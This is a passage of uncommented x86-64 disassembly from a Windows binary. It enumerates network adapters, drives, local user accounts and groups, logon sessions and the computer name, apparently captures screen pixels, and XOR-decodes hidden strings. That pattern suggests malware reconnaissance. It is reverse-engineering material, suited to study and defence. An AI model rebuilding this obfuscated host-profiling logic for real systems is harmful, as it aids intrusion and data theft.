mov word [rsp + 0x290], ax
mov rcx, r14
call fcn.14004143f
test rax, rax
je 0x14001e705
add rdx, r15
and rdx, rbx
neg rdx
imul r12, rdx, 0x88
mov rcx, qword [r13 + r12 - 0x88]
mov rdx, qword [r13 + r12 - 0x78]
mov r8, rbp
mov r9, rdi
call fcn.1400b4ce3
test al, al
je 0x14001e6ca
jmp 0x14001e734
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14001e829
mov rax, qword [rsp + 0x70]
add r15, rax
add r15, 0x10
add rax, 0x10
mov qword [rsp + 0x70], rax
and r15, rbx
jmp 0x14001e6ae
add r13, r12
mov rax, qword [r13 - 0x68]
mov rcx, qword [r13 - 0x58]
mov qword [r13 - 0x60], rax
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0xa8]
mov rax, qword [rdx + r8 + 0x500]
mov qword [r13 - 0x68], rax
mov qword [r13 - 0x50], rcx
mov rax, qword [rdx + r8 + 0x4b8]
mov qword [r13 - 0x58], rax
mov rax, qword [r13 - 0x48]
mov qword [r13 - 0x40], rax
mov rax, qword [rdx + r8 + 0x4c0]
add rax, qword [rdx + r8 + 0x4c8]
mov rcx, 0xffffffffffffffff
cmovb rax, rcx
mov qword [r13 - 0x48], rax
mov rax, qword [r13 - 0x38]
mov qword [r13 - 0x30], rax
mov rax, qword [rdx + r8 + 0x508]
add rax, qword [rdx + r8 + 0x510]
cmovb rax, rcx
mov qword [r13 - 0x38], rax
mov rax, qword [r13 - 0x28]
mov qword [r13 - 0x20], rax
mov rax, qword [rdx + r8 + 0x4d8]
mov qword [r13 - 0x28], rax
mov rax, qword [r13 - 0x18]
mov qword [r13 - 0x10], rax
mov rax, qword [rdx + r8 + 0x520]
mov qword [r13 - 0x18], rax
mov byte [r13 - 2], 1
mov rcx, rbp
mov rdx, qword [rsp + 0x80]
call fcn.140025ee7
lea r15, [rsp + 0xc0]
mov rbx, qword [rsp + 0x90]
mov r12, qword [rsp + 0x68]
jmp 0x14001e80f
lea r15, [rsp + 0xc0]
mov rcx, rsi
mov rdx, qword [rsp + 0x60]
call fcn.1400b1675
jmp 0x14001e491
xor r13d, r13d
jmp 0x14001e597
cmp qword [rsp + 0x4d0], 0
je 0x14001e997
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0xa8]
mov r15, qword [rax + rdx + 0x4c0]
add r15, qword [rax + rdx + 0x4c8]
mov rcx, qword [rax + rdx + 0x4b8]
mov qword [rsp + 0x70], rcx
mov rcx, 0xffffffffffffffff
cmovb r15, rcx
mov r12, qword [rax + rdx + 0x508]
add r12, qword [rax + rdx + 0x510]
cmovb r12, rcx
mov rcx, qword [rsp + 0xb8]
mov rcx, qword [rcx]
mov qword [rsp + 0xa0], rcx
mov rcx, qword [rax + rdx + 0x500]
mov qword [rsp + 0xb0], rcx
mov rcx, qword [rax + rdx + 0x4d8]
mov qword [rsp + 0xb8], rcx
mov rax, qword [rax + rdx + 0x520]
mov qword [rsp + 0xa8], rax
mov rcx, r13
mov rdx, rbx
mov r8, qword [rsp + 0x98]
call fcn.14006a600
mov rcx, qword [rsp + 0x4c0]
neg rax
and dl, 1
neg dl
movsx rdx, dl
add qword [rsp + 0x4d0], rdx
imul rax, rax, 0x88
mov qword [rcx + rax - 0x88], rbp
mov rdx, qword [rsp + 0x80]
mov qword [rcx + rax - 0x80], rdx
mov qword [rcx + rax - 0x78], rdi
mov rdx, qword [rsp + 0xa0]
mov qword [rcx + rax - 0x70], rdx
mov rdx, qword [rsp + 0xb0]
mov qword [rcx + rax - 0x68], rdx
mov qword [rcx + rax - 0x60], rdx
mov rdx, qword [rsp + 0x70]
mov qword [rcx + rax - 0x58], rdx
mov qword [rcx + rax - 0x50], rdx
mov qword [rcx + rax - 0x48], r15
mov qword [rcx + rax - 0x40], r15
mov qword [rcx + rax - 0x38], r12
mov qword [rcx + rax - 0x30], r12
mov rdx, qword [rsp + 0xb8]
mov qword [rcx + rax - 0x28], rdx
mov qword [rcx + rax - 0x20], rdx
mov rdx, qword [rsp + 0xa8]
mov qword [rcx + rax - 0x18], rdx
mov qword [rcx + rax - 0x10], rdx
and dword [rcx + rax - 8], 0
and word [rcx + rax - 4], 0
mov byte [rcx + rax - 2], 1
inc qword [rsp + 0x4d8]
jmp 0x14001e7f0
lea rcx, [rsp + 0x4c0]
lea rdx, [rsp + 0x4e0]
call fcn.1400bc9ff
mov r13, qword [rsp + 0x4c0]
mov rbx, qword [rsp + 0x4c8]
jmp 0x14001e838
call fcn.1400d6c4f
mov ecx, eax
call fcn.1400abe61
jmp case.0x14001c076.10
mov rdi, r12
sub rbx, rdi
shr rbx, 5
add rdi, 0x10
sub rbx, 1
jb 0x14001e9f8
mov rcx, qword [rdi - 8]
mov rdx, qword [rdi]
call fcn.1400b1675
add rdi, 0x20
jmp 0x14001e9e0
mov r8, qword [rsp + 0x198]
test r8, r8
je 0x14001ea1b
shl r8, 5
mov edx, 8
mov rcx, qword [rsp + 0x210]
call fcn.140010a9a
mov rcx, qword [rsp + 0x1a0]
call sub.iphlpapi.dll_FreeMibTable
mov rdx, qword [rsp + 0x868]
test rdx, rdx
je 0x14001ebd4
mov rcx, qword [rsp + 0x860]
mov rax, qword [rsp + 0x878]
test rax, rax
je 0x14001ebc9
add rdx, rcx
inc rdx
movdqa xmm0, xmmword [rcx]
pmovmskb r8d, xmm0
not r8d
lea rsi, [rsp + 0x2a8]
mov qword [rsi - 0x18], rcx
add rcx, 0x10
mov qword [rsi - 0x10], rcx
mov qword [rsi - 8], rdx
mov word [rsi], r8w
mov qword [rsi + 8], rax
mov edi, 1
test rdi, rdi
je 0x14001ebb9
mov rcx, rsi
call fcn.14004143f
cmp rax, 1
je 0x14001ead4
mov rax, qword [rsp + 0x298]
movdqa xmm0, xmmword [rax]
pmovmskb ecx, xmm0
not ecx
mov word [rsp + 0x2a8], cx
add qword [rsp + 0x290], 0xfffffffffffffe00
add rax, 0x10
mov qword [rsp + 0x298], rax
jmp 0x14001ea92
shl rdx, 5
mov rax, qword [rsp + 0x290]
mov rdi, qword [rsp + 0x2b0]
mov rcx, rax
sub rcx, rdx
dec rdi
mov qword [rsp + 0x2b0], rdi
mov rcx, qword [rcx - 0x20]
neg rdx
mov rdx, qword [rax + rdx - 0x18]
call fcn.1400b1675
jmp 0x14001ea89
xor edx, edx
jmp 0x14001c983
call fcn.1400d6c4f
mov ecx, eax
call fcn.1400abe61
jmp 0x14001eb65
lea rax, str.Get_RGBA_data_failed
lea rcx, [rsp + 0x450]
mov qword [rcx], rax
mov qword [rcx + 8], 1
lea rax, [0x14018edf8]
mov qword [rcx + 0x10], rax
xorps xmm0, xmm0
movups xmmword [rcx + 0x18], xmm0
call fcn.1400abfa6
mov rcx, qword [rsp + 0x80]
mov rdx, r13
call fcn.140025ee7
mov rcx, r12
call sub.gdi32.dll_DeleteObject
mov rcx, r15
call sub.gdi32.dll_DeleteDC
mov rcx, r14
call sub.gdi32.dll_DeleteDC
jmp case.0x14001c076.10
movabs rcx, 0x8080808080808080
lea rdx, [r15 - 0x10]
mov r9, qword [rsi + r11]
and r9, rcx
mov r8, qword [rsi + r11 + 8]
and r8, rcx
mov r10, r8
or r10, r9
jne 0x14002495f
add r11, 0x10
cmp r11, rdx
jbe 0x14001eb90
jmp 0x14001bce5
mov rcx, qword [rsp + 0x860]
mov rdx, qword [rsp + 0x868]
mov r8d, 0x20
call fcn.140069304
mov rax, qword [rsp + 0x4c0]
mov rcx, qword [rsp + 0x4c8]
add rcx, rax
inc rcx
movdqa xmm0, xmmword [rax]
pmovmskb edx, xmm0
not edx
mov r8, qword [rsp + 0x4d8]
lea rsi, [rsp + 0x860]
mov qword [rsi], rax
add rax, 0x10
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rcx
mov word [rsi + 0x18], dx
mov qword [rsi + 0x20], r8
mov ebx, 0x88
mov rcx, rsi
call fcn.1400bc2cf
test rax, rax
je 0x14001ec68
mov rdi, rax
cmp byte [rax - 2], 0
jne 0x14001ec20
mov rax, qword [rsp + 0x4c0]
sub rax, rdi
cqo
idiv rbx
lea rcx, [rsp + 0x4c0]
mov rdx, rax
call fcn.140069cc9
mov rcx, qword [rdi - 0x88]
mov rdx, qword [rdi - 0x80]
call fcn.140025ee7
jmp 0x14001ec20
and dword [rsp + 0x150], 0
mov dword [rsp + 0x230], 0x3c00
mov ebx, 4
xor esi, esi
dec ebx
je 0x14001ed54
mov edx, dword [rsp + 0x230]
mov rcx, rsi
call sub.msvcrt.dll_realloc
test rax, rax
je 0x14001ecf3
mov rdi, rax
lea rax, [rsp + 0x230]
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov edx, 0xe
xor r8d, r8d
mov r9, rdi
call sub.iphlpapi.dll_GetAdaptersAddresses
mov dword [rsp + 0x150], eax
mov rsi, rdi
cmp eax, 0x6f
je 0x14001ec82
test eax, eax
jne 0x14001ed51
mov qword [rsp + 0x298], rdi
mov qword [rsp + 0x2a0], rdi
and qword [rsp + 0x290], 0
xor edi, edi
jmp 0x14001edbe
mov ecx, 0x32
call fcn.1400b14fe
mov rdi, rax
mov rbx, rdx
movups xmm0, xmmword [str.failed_to_allocate_memory_for_IP_ADAPTER_ADDRESSESGetAdaptersAddresses___failed_with_code]
movups xmmword [rax], xmm0
movups xmm0, xmmword [0x14016a530]
movups xmmword [rax + 0x10], xmm0
movdqu xmm0, xmmword [0x14016a540]
movdqu xmmword [rax + 0x20], xmm0
mov word [rax + 0x30], 0x5345
mov rcx, rsi
call sub.msvcrt.dll_free
mov qword [rsp + 0x290], rdi
mov qword [rsp + 0x298], rbx
mov qword [rsp + 0x2a0], 0x32
jmp 0x14001edbe
mov rsi, rdi
lea rax, [rsp + 0x150]
mov qword [rsp + 0xc0], rax
lea rax, [0x14016a580]
lea rdx, [rsp + 0x860]
mov qword [rdx], rax
mov eax, 1
mov qword [rdx + 8], rax
and qword [rdx + 0x20], 0
lea rcx, [0x140030b39]
mov qword [rsp + 0xc8], rcx
lea rcx, [rsp + 0xc0]
mov qword [rdx + 0x10], rcx
mov qword [rdx + 0x18], rax
lea rdi, [rsp + 0x290]
mov rcx, rdi
call fcn.140006e4c
mov rcx, rsi
call sub.msvcrt.dll_free
mov rdi, qword [rdi]
test rdi, rdi
jne 0x14001ef23
movdqu xmm0, xmmword [rsp + 0x298]
lea rax, [rsp + 0xc0]
movdqu xmmword [rax], xmm0
lea rbx, [rsp + 0x150]
pcmpeqd xmm6, xmm6
lea rcx, [rsp + 0x860]
lea rdx, [rsp + 0xc0]
call fcn.1400bf3b6
mov r14, qword [rsp + 0x860]
test r14, r14
je 0x14001ef35
mov rax, qword [rsp + 0x868]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x4d8], 0
je 0x14001ef09
mov r13, qword [rsp + 0x870]
mov rcx, qword [rsp + 0x4e0]
mov rdx, qword [rsp + 0x4e8]
mov r8, r14
mov r9, r13
call fcn.1400bc49f
mov rbp, qword [rsp + 0x4c0]
mov rdi, qword [rsp + 0x4c8]
mov rsi, rdi
and rsi, rax
shr rax, 0x39
movd xmm0, eax
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm7, xmm0, 0
xor r12d, r12d
movdqu xmm8, xmmword [rbp + rsi]
movdqa xmm0, xmm8
pcmpeqb xmm0, xmm7
pmovmskb eax, xmm0
mov word [rsp + 0x150], ax
mov rcx, rbx
call fcn.14004143f
test rax, rax
je 0x14001eed3
add rdx, rsi
and rdx, rdi
neg rdx
imul r15, rdx, 0x88
mov r8, qword [rbp + r15 - 0x88]
mov r9, qword [rbp + r15 - 0x78]
mov rcx, r14
mov rdx, r13
call fcn.1400b4ce3
test al, al
je 0x14001ee98
jmp 0x14001eef1
pcmpeqb xmm8, xmm6
pmovmskb eax, xmm8
test eax, eax
jne 0x14001ef09
add rsi, r12
add rsi, 0x10
add r12, 0x10
and rsi, rdi
jmp 0x14001ee7c
add rbp, r15
lea rcx, [rsp + 0x878]
movzx eax, word [rcx + 4]
mov word [rbp - 4], ax
mov eax, dword [rcx]
mov dword [rbp - 8], eax
mov rcx, r14
mov rdx, qword [rsp + 0x60]
call fcn.140025ee7
lea r15, [rsp + 0xc0]
jmp 0x14001ede8
mov rdx, qword [rsp + 0x298]
mov rcx, rdi
call fcn.140025ee7
jmp 0x14001ef42
mov rcx, qword [rsp + 0xc0]
call sub.msvcrt.dll_free
lea rbx, [rsp + 0x860]
lea r14, [rsp + 0x530]
lea rcx, [rsp + 0x450]
mov edx, 0x10101
call fcn.1400be2f2
call sub.kernel32.dll_GetLogicalDrives
mov dword [rsp + 0x230], eax
test eax, eax
jne 0x14001ef8b
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x860], xmm0
mov edi, 8
jmp 0x14001f12a
lea r13, [rsp + 0x1a8]
mov qword [r13 - 8], 8
pxor xmm0, xmm0
movdqu xmmword [r13], xmm0
lea rax, [rsp + 0x230]
mov qword [rsp + 0x860], rax
movabs rax, 0x2000000000
mov qword [rsp + 0x868], rax
mov ecx, 0x20
call fcn.1400bc330
and dword [rsp + 0x28], 0
mov qword [rsp + 0x38], rbx
mov dword [rsp + 0x30], 0x20
mov qword [rsp + 0x20], 1
xor ebx, ebx
mov edx, 0x20
mov rcx, r15
xor r8d, r8d
mov r9, rax
call fcn.1400b96a5
mov rax, qword [rsp + 0xd0]
sub rax, 1
jb 0x14001f021
mov r15, qword [r15]
test r15, r15
je 0x14001f021
add rbx, qword [r15 + 0x10]
add r15, 0x18
jmp 0x14001f009
lea rdi, [rsp + 0x1a0]
mov rcx, rdi
mov rdx, rbx
call fcn.1400bc53a
mov rax, qword [rsp + 0xd0]
lea rbx, [rsp + 0x290]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rsp + 0xc0]
movaps xmmword [rbx], xmm0
lea rbp, [rsp + 0x868]
lea r14, [rsp + 0x860]
mov rcx, rbx
call fcn.1400ba110
test rax, rax
je 0x14001f0fe
mov r15, qword [rax]
movups xmm0, xmmword [rax + 8]
movaps xmmword [rsp + 0x150], xmm0
mov rcx, rax
call fcn.1400ba899
test r15, r15
je 0x14001f0fe
mov qword [rsp + 0x860], r15
movaps xmm0, xmmword [rsp + 0x150]
movups xmmword [rbp], xmm0
mov r12, qword [rsp + 0x870]
mov rcx, rdi
mov rdx, r12
call fcn.1400bc53a
mov rsi, qword [rsp + 0x1b0]
imul rcx, rsi, 0x90
add rcx, qword [rsp + 0x1a0]
imul r8, r12, 0x90
mov rdx, r15
call sub.msvcrt.dll_memcpy
add rsi, r12
mov qword [rsp + 0x1b0], rsi
and qword [rsp + 0x870], 0
mov rcx, r14
call fcn.1400b890c
jmp 0x14001f063
lea rcx, [rsp + 0x290]
call fcn.1400ba0de
mov rdi, qword [rsp + 0x1a0]
movdqu xmm0, xmmword [r13]
movdqa xmmword [rsp + 0x860], xmm0
lea r14, [rsp + 0x530]
lea rsi, [rsp + 0x548]
mov rcx, r14
call fcn.1400b890c
mov qword [rsi - 0x18], rdi
lea rax, [rsp + 0x878]
movaps xmm0, xmmword [rax - 0x18]
movups xmmword [rsi - 0x10], xmm0
lea rsi, [rsp + 0x230]
mov qword [rsi], 8
lea rax, [rsp + 0xaa4]
and dword [rax], 0
pxor xmm6, xmm6
movdqu xmmword [rsi + 8], xmm6
lea rbx, [rsp + 0x150]
lea rbp, [rsp + 0x7f0]
lea r14, [rsp + 0x270]
lea r12, [rsp + 0x290]
and qword [rsp + 0x3f0], 0
and dword [rsp + 0x400], 0
and dword [rsp + 0xa38], 0
lea rax, [rsp + 0xaa4]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0xa38]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x400]
mov qword [rsp + 0x28], rax
or dword [rsp + 0x20], 0xffffffff
xor ecx, ecx
xor edx, edx
mov r8d, 2
lea r9, [rsp + 0x3f0]
call sub.netapi32.dll_NetUserEnum
test eax, eax
je 0x14001f1fc
cmp eax, 0xea
jne 0x14001f54b
mov dword [rsp + 0x60], eax
mov r15, qword [rsp + 0x3f0]
mov eax, dword [rsp + 0x400]
lea rdi, [r15 + rax*8]
cmp r15, rdi
je 0x14001f52f
mov r13, r15
add r15, 8
cmp qword [r13], 0
je 0x14001f213
and qword [rsp + 0x820], 0
mov rdx, qword [r13]
xor ecx, ecx
mov r8d, 0x17
lea r9, [rsp + 0x820]
call sub.netapi32.dll_NetUserGetInfo
test eax, eax
jne 0x14001f514
mov rax, qword [rsp + 0x820]
mov rdx, qword [rax + 0x20]
mov rcx, rbx
call fcn.1400b8e99
mov rdx, qword [rsp + 0x150]
test rdx, rdx
je 0x14001f514
lea rcx, [rsp + 0x860]
call fcn.1400bea44
cmp qword [rsp + 0x860], 0
je 0x14001f2b3
mov rax, qword [rsp + 0x870]
mov qword [rsp + 0x1b0], rax
movups xmm0, xmmword [rsp + 0x860]
movaps xmmword [rsp + 0x1a0], xmm0
jmp 0x14001f2c4
mov rdx, qword [r13]
lea rcx, [rsp + 0x1a0]
call fcn.1400b8569
mov rdx, qword [r13]
and qword [rsp + 0x410], 0
and dword [rsp + 0x270], 0
and dword [rsp + 0x7f0], 0
mov qword [rsp + 0x38], rbp
mov qword [rsp + 0x30], r14
lea rax, [rsp + 0x410]
mov qword [rsp + 0x20], rax
or dword [rsp + 0x28], 0xffffffff
lea rcx, [0x14018edf0]
xor r8d, r8d
mov r9d, 1
call sub.netapi32.dll_NetUserGetLocalGroups
test eax, eax
je 0x14001f333
lea rax, [rsp + 0xc8]
movdqu xmmword [rax], xmm6
mov qword [rsp + 0xc0], 8
jmp 0x14001f47f
mov r14d, dword [rsp + 0x270]
test r14, r14
je 0x14001f358
imul rdx, r14, 0x18
mov ecx, 8
call fcn.140025db9
test rax, rax
jne 0x14001f35d
jmp case.0x14001c076.10
mov eax, 8
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], r14
and qword [rsp + 0xd0], 0
mov rbp, qword [rsp + 0x410]
test rbp, rbp
je 0x14001f3c7
mov r13d, dword [rsp + 0x270]
cmp r14d, r13d
jae 0x14001f408
lea rcx, [rsp + 0xc0]
xor edx, edx
mov r8, r13
call fcn.1400b9481
movabs rcx, 0x8000000000000001
cmp rax, rcx
jne 0x140025815
mov rax, qword [rsp + 0xc0]
mov r14, qword [rsp + 0xd0]
jmp 0x14001f418
mov rax, qword [rsp + 0xd0]
lea rcx, [rsp + 0x878]
mov qword [rcx + 0x28], rax
mov rax, qword [rsp + 0xc0]
mov qword [rcx + 0x18], rax
mov rax, qword [rsp + 0xc8]
mov qword [rcx + 0x20], rax
lea r14, [rsp + 0x270]
lea rbp, [rsp + 0x7f0]
jmp 0x14001f4bd
mov r14d, 0
mov ecx, 0
test r13, r13
je 0x14001f457
imul rbx, r14, 0x18
add rbx, rax
xor esi, esi
mov rdx, qword [rbp + rsi*8]
mov rcx, r12
call fcn.1400b8569
mov rax, qword [rsp + 0x2a0]
mov qword [rbx + 0x10], rax
movups xmm0, xmmword [rsp + 0x290]
movups xmmword [rbx], xmm0
inc rsi
add rbx, 0x18
cmp r13, rsi
jne 0x14001f421
add r14, rsi
mov rcx, r14
mov qword [rsp + 0xd0], rcx
lea rsi, [rsp + 0x230]
lea rbx, [rsp + 0x150]
lea r14, [rsp + 0x270]
lea rbp, [rsp + 0x7f0]
mov rcx, qword [rsp + 0x410]
mov rax, qword [rsp + 0xd0]
lea rdx, [rsp + 0x878]
mov qword [rdx + 0x28], rax
mov rax, qword [rsp + 0xc0]
mov qword [rdx + 0x18], rax
mov rax, qword [rsp + 0xc8]
mov qword [rdx + 0x20], rax
test rcx, rcx
je 0x14001f4bd
call sub.netapi32.dll_NetApiBufferFree
movups xmm0, xmmword [rsp + 0x150]
movaps xmmword [rsp + 0x860], xmm0
mov rax, qword [rsp + 0x160]
mov qword [rsp + 0x870], rax
and dword [rsp + 0x8a8], 0
mov rax, qword [rsp + 0x1b0]
lea rcx, [rsp + 0x878]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rsp + 0x1a0]
movups xmmword [rcx], xmm0
mov rcx, rsi
lea rdx, [rsp + 0x860]
call fcn.1400beb11
mov rcx, qword [rsp + 0x820]
test rcx, rcx
je 0x14001f213
call sub.netapi32.dll_NetApiBufferFree
jmp 0x14001f213
mov rcx, qword [rsp + 0x3f0]
cmp dword [rsp + 0x60], 0xea
jne 0x14001f553
call fcn.1400bea30
jmp 0x14001f191
mov rcx, qword [rsp + 0x3f0]
call fcn.1400bea30
lea rcx, [rsp + 0x820]
and dword [rcx], 0
lea rsi, [rsp + 0x410]
and qword [rsi], 0
mov rdx, rsi
call sub.secur32.dll_LsaEnumerateLogonSessions
mov rcx, qword [rsi]
test eax, eax
jne 0x14001f774
mov eax, dword [rsp + 0x820]
lea rdi, [rcx + rax*8]
lea rbx, [rsp + 0x150]
lea rsi, [rsp + 0x860]
pxor xmm6, xmm6
cmp rcx, rdi
je 0x14001f76c
lea r14, [rcx + 8]
and qword [rsp + 0x150], 0
mov rdx, rbx
call sub.secur32.dll_LsaGetLogonSessionData
mov rcx, qword [rsp + 0x150]
test eax, eax
je 0x14001f5d5
call fcn.1400bea3a
mov rcx, r14
jmp 0x14001f5a1
test rcx, rcx
je 0x14001f675
cmp dword [rcx + 0x40], 3
je 0x14001f5cb
movzx r12d, word [rcx + 0x10]
mov r15, qword [rcx + 0x18]
mov rdx, qword [rcx + 0x48]
mov rcx, rsi
call fcn.1400b8e99
mov r13, qword [rsp + 0x860]
test r13, r13
je 0x14001f75f
mov qword [rsp + 0x68], r15
mov rax, qword [rsp + 0x868]
mov qword [rsp + 0x60], rax
mov r15, qword [rsp + 0x870]
mov rdx, qword [rsp + 0x230]
imul rbp, qword [rsp + 0x240], 0x50
test rbp, rbp
je 0x14001f67c
lea rsi, [rdx + 0x50]
mov rcx, qword [rdx]
mov rdx, qword [rdx + 0x10]
mov r8, r13
mov r9, r15
call fcn.1400b4ce3
add rbp, 0xffffffffffffffb0
mov rdx, rsi
test al, al
je 0x14001f635
mov rcx, r13
mov rdx, qword [rsp + 0x60]
call fcn.140025ee7
lea rsi, [rsp + 0x860]
jmp 0x14001f75f
xor ecx, ecx
jmp 0x14001f5cb
lea rcx, [rsp + 0x290]
mov rdx, r13
call fcn.1400bea44
mov rax, qword [rsp + 0x290]
test rax, rax
je 0x14001f6b6
lea rcx, [rsp + 0x298]
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xc0], xmm0
lea rsi, [rsp + 0x860]
jmp 0x14001f701
shr r12d, 1
lea rsi, [rsp + 0x860]
mov rcx, rsi
mov rdx, qword [rsp + 0x68]
mov r8, r12
call fcn.14002635a
mov rax, qword [rsp + 0x860]
test rax, rax
je 0x14001f6f3
lea rcx, [rsp + 0x868]
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x14001f701
movdqa xmmword [rsp + 0xc0], xmm6
mov eax, 1
mov rcx, qword [rsp + 0x60]
mov qword [rsp + 0x860], r13
mov qword [rsp + 0x868], rcx
mov qword [rsp + 0x870], r15
lea rcx, [rsp + 0x868]
movdqu xmmword [rcx + 0x30], xmm6
and dword [rcx + 0x40], 0
mov qword [rsp + 0x878], rax
movaps xmm0, xmmword [rsp + 0xc0]
movups xmmword [rcx + 0x18], xmm0
mov qword [rsp + 0x890], 8
lea rcx, [rsp + 0x230]
mov rdx, rsi
call fcn.1400beb11
mov rcx, qword [rsp + 0x150]
jmp 0x14001f5cb
mov rcx, qword [rsp + 0x410]
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x870], rax
movups xmm0, xmmword [rsp + 0x230]
movaps xmmword [rsp + 0x860], xmm0
test rcx, rcx
je 0x14001f79e
call fcn.140105a40
lea rbx, [rsp + 0x450]
mov rcx, qword [rbx + 0xf8]
mov rdx, qword [rbx + 0x108]
call fcn.1400bc77a
mov rcx, qword [rbx + 0xf8]
mov rdx, qword [rbx + 0x100]
call fcn.1400bc8e4
lea rsi, [rsp + 0x860]
mov rax, qword [rsi + 0x10]
lea rcx, [rsp + 0x548]
mov qword [rcx + 0x10], rax
movaps xmm0, xmmword [rsi]
movups xmmword [rcx], xmm0
mov r8d, 0x1a0
mov rcx, rsi
mov rdx, rbx
call sub.msvcrt.dll_memcpy
mov rcx, rsi
call fcn.1400bdadd
xor edi, edi
mov rcx, rsi
xor edx, edx
call fcn.1400bdbc2
mov rcx, qword [rsi + 0xc8]
mov rdx, qword [rsi + 0xd8]
call fcn.1400bdf29
mov rcx, rsi
mov edx, 0x10101
call fcn.1400be2f2
mov rcx, qword [rsi + 0xe0]
mov rdx, qword [rsi + 0xf0]
call fcn.1400be9bf
lea rcx, [rsp + 0x8d0]
call fcn.1400be1c1
mov ebx, 0xe
mov ecx, 0xe
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movabs rax, 0x6d59e72114da5d51
mov qword [rsi], rax
mov dword [rsi + 8], 0x153c6f72
mov word [rsi + 0xc], 0x22cb
mov ecx, 0xe
mov edx, 1
call fcn.140006f0f
movabs rcx, 0x1e20b4014ffa636c
mov qword [rax], rcx
mov dword [rax + 8], 0x35510a06
mov word [rax + 0xc], 0x1896
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rbx
mov qword [rsp + 0x2a0], rbx
cmp rdi, 0xe
je 0x14001f8d2
mov cl, byte [rsi + rdi]
xor byte [rax + rdi], cl
inc rdi
jmp 0x14001f8c1
lea rbx, [rsp + 0x450]
lea rdx, [rsp + 0x290]
mov rcx, rbx
call fcn.140006f2f
cmp byte [rbx + 0x20], 2
jne case.0x14001c076.10
lea r15, [rsp + 0x450]
mov rbx, qword [r15]
mov r14, qword [r15 + 8]
mov r12, qword [r15 + 0x10]
mov edx, 0xe
mov rcx, rsi
call fcn.140025ee7
mov rcx, r12
call fcn.1400b14fe
mov rsi, rax
mov r13, rdx
mov rcx, rax
mov rdx, rbx
mov r8, r12
call sub.msvcrt.dll_memcpy
mov qword [r15], rsi
mov qword [r15 + 8], r13
mov qword [r15 + 0x10], r12
lea rcx, [rsp + 0x218]
mov rdx, r15
call fcn.140006e93
mov rcx, rbx
mov rdx, r14
call fcn.140025ee7
mov edi, 0x18
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x140109870]
movups xmmword [rax], xmm0
movabs rax, 0xae2b42fe5aa7cfb0
mov qword [rsi + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x140109880]
movups xmmword [rax], xmm0
movabs rcx, 0x8e0b62de7a87ef90
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rdi
mov qword [rsp + 0x2a0], rdi
xor ecx, ecx
cmp rcx, 0x18
je 0x14001f9d7
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x14001f9c6
lea r14, [rsp + 0x450]
lea rbx, [rsp + 0x290]
mov rcx, r14
mov rdx, rbx
call fcn.140006f2f
cmp byte [r14 + 0x20], 2
jne case.0x14001c076.10
lea r14, [rsp + 0x450]
mov r15, qword [r14]
mov r12, qword [r14 + 8]
mov r13, qword [r14 + 0x10]
mov edi, 0x18
mov edx, 0x18
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], r13
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x290], rax
lea rax, [fcn.1400329bc]
mov qword [rsp + 0x298], rax
lea rax, [rsp + 0xb30]
mov qword [rsp + 0x2a0], rax
lea rax, [0x14014d318]
mov qword [r14], rax
mov eax, 2
mov qword [r14 + 8], rax
and qword [r14 + 0x20], 0
lea rcx, [0x1400109da]
mov qword [rsp + 0x2a8], rcx
mov qword [r14 + 0x10], rbx
mov qword [r14 + 0x18], rax
lea rsi, [rsp + 0xc28]
mov rcx, rsi
mov rdx, r14
call fcn.140006e4c
mov rcx, r15
mov rdx, r12
call fcn.140025ee7
lea rcx, [rsp + 0x218]
mov rdx, rsi
call fcn.140006e93
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
mov rsi, rax
movaps xmm0, xmmword [0x140109890]
movups xmmword [rax], xmm0
movabs rax, 0xfad2cdbff6b8053b
mov qword [rsi + 0x10], rax
mov ecx, 0x18
mov edx, 1
call fcn.140006f0f
movaps xmm0, xmmword [0x1401098a0]
movups xmmword [rax], xmm0
movabs rcx, 0xdaf2ed9fd698251b
mov qword [rax + 0x10], rcx
mov qword [rsp + 0x290], rax
mov qword [rsp + 0x298], rdi
mov qword [rsp + 0x2a0], rdi
xor ecx, ecx
cmp rcx, 0x18
je 0x14001fb3a
mov dl, byte [rsi + rcx]
xor byte [rax + rcx], dl
inc rcx
jmp 0x14001fb29
lea rbx, [rsp + 0x450]
lea rdx, [rsp + 0x290]
mov rcx, rbx
call fcn.140006f2f
cmp byte [rbx + 0x20], 2
jne case.0x14001c076.10
mov rbx, qword [rsp + 0x450]
mov r14, qword [rsp + 0x458]
mov rdi, qword [rsp + 0x460]
mov edx, 0x18
mov rcx, rsi
call fcn.140025ee7
mov qword [rsp + 0x1a0], rbx
mov qword [rsp + 0x1a8], rdi
lea r8, [rsp + 0x290]
and dword [r8], 0
xor edi, edi
mov ecx, 1
xor edx, edx
call sub.kernel32.dll_GetComputerNameExW
test eax, eax
jne case.0x14001c076.10
lea r15, [rsp + 0x290]
mov ecx, dword [r15]
xor edx, edx
call fcn.1400afcb4
mov r12, rax
mov rsi, rdx
mov rax, rdx
shr rax, 0x20
neg rax
sbb edi, edi
or edi, esi
mov dword [r15], edi
mov ecx, 1
mov rdx, r12
mov r8, r15
